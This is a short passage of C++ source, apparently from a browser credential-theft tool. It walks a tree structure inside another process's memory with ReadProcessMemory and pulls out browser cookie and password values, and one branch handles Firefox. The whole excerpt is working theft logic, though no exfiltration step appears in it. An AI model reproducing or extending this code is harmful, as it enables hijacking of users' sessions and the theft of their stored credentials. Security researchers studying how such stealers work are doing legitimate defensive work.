| 479 | } |
| 480 | } |
| 481 | void ProcessPassNode(HANDLE hProcess, const PassNode& node, int64_t nodeAddress, AppLication targetBrowser, AppMode mode) { |
| 482 | PRINT("\nAttempting to read cookie values from address: 0x%p\n", (void*)node.valueAddress); |
| 483 | int64_t reslut = node.valueAddress & 0xFFFF000000000000; |
| 484 | if (node.tag > 0x16) { |
| 485 | ReadPassEdge(hProcess, node.valueAddress, node.len); |
| 486 | } |
| 487 | else |
| 488 | { |
| 489 | ReadPassEdge(hProcess, nodeAddress + 0x20, node.tag); |
| 490 | } |
| 491 | |
| 492 | |
| 493 | if (node.left != 0) { |
| 494 | PassNode leftNode; |
| 495 | if (ReadProcessMemory(hProcess, reinterpret_cast<LPCVOID>(node.left), &leftNode, sizeof(PassNode), nullptr)) |
| 496 | ProcessPassNode(hProcess, leftNode, node.left, targetBrowser, mode); |
| 497 | else |
| 498 | PRINT("Error reading left node"); |
| 499 | } |
| 500 | |
| 501 | if (node.right != 0) { |
| 502 | PassNode rightNode; |
| 503 | if (ReadProcessMemory(hProcess, reinterpret_cast<LPCVOID>(node.right), &rightNode, sizeof(PassNode), nullptr)) |
| 504 | ProcessPassNode(hProcess, rightNode, node.right, targetBrowser, mode); |
| 505 | else |
| 506 | PRINT("Error reading right node"); |
| 507 | } |
| 508 | } |
| 509 | |
| 510 | void WalkCookieMap(HANDLE hProcess, uintptr_t cookieMapAddress, AppLication targetBrowser, AppMode mode) { |
| 511 | if (targetBrowser == FireFox) { |
no test coverage detected